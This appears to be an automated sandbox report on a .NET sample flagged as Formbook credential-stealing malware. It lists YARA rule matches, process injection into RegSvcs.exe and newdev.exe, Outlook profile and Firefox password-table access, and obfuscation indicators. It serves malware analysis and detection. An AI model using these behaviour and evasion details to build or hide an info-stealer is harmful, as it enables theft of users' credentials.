Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Section loaded: rasadhlp.dll Jump to behavior
Uses 32bit PE files
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4549492343.0000000005540000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4536118705.0000000000720000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2170704940.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4538159031.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2170261659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4537848670.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2171496231.0000000004880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4546816964.0000000006290000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, PINpdL8SXJLETTYyWE.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, PINpdL8SXJLETTYyWE.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, XnaYTu1vnvGWdWi0bF.cs Security API names: _0020.SetAccessControl
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, XnaYTu1vnvGWdWi0bF.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, XnaYTu1vnvGWdWi0bF.cs Security API names: _0020.AddAccessRule
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, XnaYTu1vnvGWdWi0bF.cs Security API names: _0020.SetAccessControl
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, XnaYTu1vnvGWdWi0bF.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, XnaYTu1vnvGWdWi0bF.cs Security API names: _0020.AddAccessRule
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.27aa9d8.0.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.53f0000.4.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.27b29f0.1.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@7/2@18/10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.log Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Mutant created: NULL
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Mutant created: \Sessions\1\BaseNamedObjects\WGLBHOcqRWwsVWjnnaUw
Source: C:\Windows\SysWOW64\newdev.exe File created: C:\Users\user\AppData\Local\Temp\0100I4 Jump to behavior
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: newdev.exe, 00000005.00000002.4540353437.0000000002D9D000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2344764950.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4540353437.0000000002DC1000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4540353437.0000000002D93000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Virustotal: Detection: 31%
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe ReversingLabs: Detection: 26%
Source: unknown Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Process created: C:\Windows\SysWOW64\newdev.exe "C:\Windows\SysWOW64\newdev.exe"
Source: C:\Windows\SysWOW64\newdev.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Process created: C:\Windows\SysWOW64\newdev.exe "C:\Windows\SysWOW64\newdev.exe" Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: firefox.pdbP source: newdev.exe, 00000005.00000003.2410876802.00000000080CB000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2348912394.0000000007A79000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: TEDSEqbHCFz.exe, 00000004.00000000.2092267631.000000000089E000.00000002.00000001.01000000.0000000C.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4536093396.000000000089E000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: KeTS.pdbSHA256 source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000003.00000002.2170797658.00000000011B0000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4548533441.0000000004910000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2170521698.00000000045B9000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4548533441.0000000004AAE000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2172322915.0000000004760000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000003.00000002.2170797658.00000000011B0000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, newdev.exe, 00000005.00000002.4548533441.0000000004910000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2170521698.00000000045B9000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4548533441.0000000004AAE000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2172322915.0000000004760000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: NewDev.pdbGCTL source: RegSvcs.exe, 00000003.00000002.2170467317.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, TEDSEqbHCFz.exe, 00000004.00000002.4540633875.00000000015D8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: KeTS.pdb source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Source: Binary string: NewDev.pdb source: RegSvcs.exe, 00000003.00000002.2170467317.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, TEDSEqbHCFz.exe, 00000004.00000002.4540633875.00000000015D8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: firefox.pdb source: newdev.exe, 00000005.00000003.2410876802.00000000080CB000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2348912394.0000000007A79000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe, frm_main.cs .Net Code: InitializeComponent
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, I1Ds3abkUA5mh3kywv.cs .Net Code: hyVW2X9uL System.Reflection.Assembly.Load(byte[])
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, XnaYTu1vnvGWdWi0bF.cs .Net Code: feG6tFecQ7 System.Reflection.Assembly.Load(byte[])
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.70e0000.5.raw.unpack, XnaYTu1vnvGWdWi0bF.cs .Net Code: feG6tFecQ7 System.Reflection.Assembly.Load(byte[])
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.7a00000.6.raw.unpack, I1Ds3abkUA5mh3kywv.cs .Net Code: hyVW2X9uL System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: 0xEE7C8A9C [Mon Oct 15 11:35:56 2096 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004015C0 push ebx; retf 1A1Ah 3_2_00401ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004190EF push eax; iretd 3_2_004190F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004081B0 push edx; ret 3_2_004081B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004129B3 push eax; iretd 3_2_00412BAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00419A02 push cs; ret 3_2_00419A17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00403390 push eax; ret 3_2_00403392
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004193AB push es; ret 3_2_004193B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00404E61 push es; iretd 3_2_00404E67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0042EE12 push eax; ret 3_2_0042EE14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00406F69 push eax; retf 3_2_00406FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00406F8A push eax; retf 3_2_00406FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011B225F pushad ; ret 3_2_011B27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011B27FA pushad ; ret 3_2_011B27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E09AD push ecx; mov dword ptr [esp], ecx 3_2_011E09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011B283D push eax; iretd 3_2_011B2858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011B1366 push eax; iretd 3_2_011B1369
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049127FA pushad ; ret 5_2_049127F9
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0491225F pushad ; ret 5_2_049127F9
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0491283D push eax; iretd 5_2_04912858
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049409AD push ecx; mov dword ptr [esp], ecx 5_2_049409B6
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04911200 push eax; iretd 5_2_04911369
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00736018 push es; ret 5_2_00736023
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0073666F push cs; ret 5_2_00736684
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00740B28 pushfd ; iretd 5_2_00740B18
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00740B0E pushfd ; iretd 5_2_00740B18
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00724E1D push edx; ret 5_2_00724E25
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0073F510 push E3329F7Ah; retf 11D4h 5_2_0073F638
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00733660 push esi; retf 5_2_0073366A
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00733655 push esi; retf 5_2_0073366A
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0072F620 push eax; iretd 5_2_0072F81C
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0074BA7F push eax; ret 5_2_0074BA81
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: section name: .text entropy: 7.944889758345296
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, R87QTajabri3WprdxA.cs High entropy of concatenated method names: 'SoFXXYTXBr', 'VXePqW7LxoGttIrQMM', 'VJKqh4rSy8UE5CPs2d', 'w7T6rNymrPsVe05ZjX', 'Qa5usbZfG', 'UsaN6r2JI', 'Dispose', 'xdE70OV1R', 'WKG8Nh2TLfQX7DMBJq', 'FCyDZoO16YhsTUYx7V'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, I1Ds3abkUA5mh3kywv.cs High entropy of concatenated method names: 'I6pnpGMEc', 'pUPSoKeTB', 'w3OonGh86', 'S3aaCOvyF', 'MagvcleIh', 'hvmph4XfL', 'eXtqEM8mO', 'RC38AH4Bb', 'hyVW2X9uL', 'AbHynsT40'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, AJO8kvyDr8qxYWB5Qt.cs High entropy of concatenated method names: 'sRJJ4PC1lt6MgSX9oLN', 'qCuPUJCYMdGJYrcKdqj', 'T9OMNMJAsS', 'KH71sVC96gudd8OjhqS', 'qSoaq8CnboJYXbPCm1H', 'XtbiVDCeUWVlZdG2V08', 'D2TFRiCIaLSytg31rTE', 'MtxGm4CM57HGXUKQMIN', 'RgtTUJcyZL', 'eFmMT9Tlnp'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.2789574.2.raw.unpack, QEHxtuXFnnkJABhbAo.cs High entropy of concatenated method names: 'Geosg7Hdn', 'wwIBOnTmd', 'siWV4YECO', 'k32FNitut', 'cUAG5mh3k', 'JwvHwu9Dw', 'cr1hyajqeLqaQ4F9dK', 'Pgut89mcfAIn6Hs5oN', 'Dispose', 'MoveNext'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, uYXuZ9K6IiZTIIDVPg.cs High entropy of concatenated method names: 'nr1YZ1HlOg', 'iIQYj21uU5', 'bj6YtBnwc1', 'CwcYPVmFMa', 'nqPYhEpVHS', 'IhcYNwpkjr', 'GxIYdVXCDK', 's3nY87sWGS', 'ziMYaV9k1S', 'iQBY04qrPS'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, IMNCQYvhG2mTFn6YH0.cs High entropy of concatenated method names: 'BNTYArquJC', 'woPYkrVX3r', 'J27YExxxHw', 'fO9EeLPYx9', 'ndDEzF9Wea', 'JxUYbS1yIe', 'ie6Y4KBB82', 'vKxYoZhDFi', 'THGYUtFl5i', 'erJY6hXG3V'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, puGWVvzA3ZU0FnuTuw.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HXaTuQ4p1m', 'kj4TJsKFQC', 'l02TWknflK', 'kEuTVd9FU4', 'LjeTi0lrVn', 'gSYTTDKkow', 'zm6Tl8hkP8'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, Tkm1FQoJXjSe5Kch9N.cs High entropy of concatenated method names: 'S5EtrrymP', 'O1sPK7AEt', 'XK9NLdDtw', 'c2wdcUGGM', 'JqQaAvOvs', 'kwZ0FJ27C', 'megUC1d4OsXfbXsZUu', 'VEdddJMipL6FpD4uia', 'PqqiHUObT', 'Nnml5M0vB'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, c8piciyR2j0q4SGkCM.cs High entropy of concatenated method names: 'ldku8NIeWw', 'sW3uaqptrT', 'IkEu91FU5d', 's8Ru2wh0tV', 'L2FuwWtZxa', 'PFuunq2ERV', 'EsJuvnkBZq', 'cFvuRO4q0x', 'TtHuIb3XB9', 'nRwupuvVfd'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, DlydcY9M1aH1FkL51P.cs High entropy of concatenated method names: 'AwmEMPmltg', 'SBDEcf0VBX', 'OQYEx0yBnK', 'aNUEY2JaqQ', 'fA1E12fPoZ', 'PAixsinG4L', 'ce2x3xMZns', 'YYuxGw4Kg4', 'qB8x5lqOKy', 'TlTxCFfOy0'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, SVIu1P4bWislm5PsElm.cs High entropy of concatenated method names: 'EIxTZwkPab', 'uwWTjSawqk', 'AafTtc4mKv', 'uG7TPSPBpO', 'WhKThuSQ4Q', 'bmeTNPAPlX', 'm65Td5DjMM', 'qkxT8yMA5L', 'eTlTaNQwTS', 'fvOT03tP22'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, oqdT4v69d290QQjoZ5.cs High entropy of concatenated method names: 'GLg4YINpdL', 'vXJ41LETTY', 'vfY4X1neId', 'Wa54BiE56c', 'IWW4JMC8ly', 'DcY4WM1aH1', 'Pq65qSfFAxyAWTnlKJ', 't9rl18n2yApUcXxWu9', 'QI0aSHZYo5QQPIs5It', 'nu5446rcAc'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, r1FD9ICyo6UXhDojMo.cs High entropy of concatenated method names: 'Dvgi9gpJF9', 'be2i2Pqm5r', 'CIoifcPjSr', 'LfviwKVA2M', 'GfliHEJS3i', 'hlPind8CIX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, CPenpXevZsZaJcgU4m.cs High entropy of concatenated method names: 'xCjT4cH7rU', 'lReTU9GcrP', 'RFeT6YNStN', 'kjlTA3A0Ia', 'R1mTcORsS1', 'peoTx2F8uS', 'ClJTE5qWRW', 'MjuiGRg1Ga', 'oU4i560SNo', 'i0MiCUBhDC'
Source: 1.2.SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe.3b653d0.3.raw.unpack, XnaYTu1vnvGWdWi0bF.cs High entropy of concatenated method names: 'LEIUMX1TZd', 'rMKUAyLLVR', 'GYvUca2RnP', 'R0OUkEEPow', 'zADUxVtpk7', 'YYKUEPwwHC', 'c67UYCMjES', 'BYxU1yuP8U', 'oGqULvUPXD', 'JeCUXV0VbW'
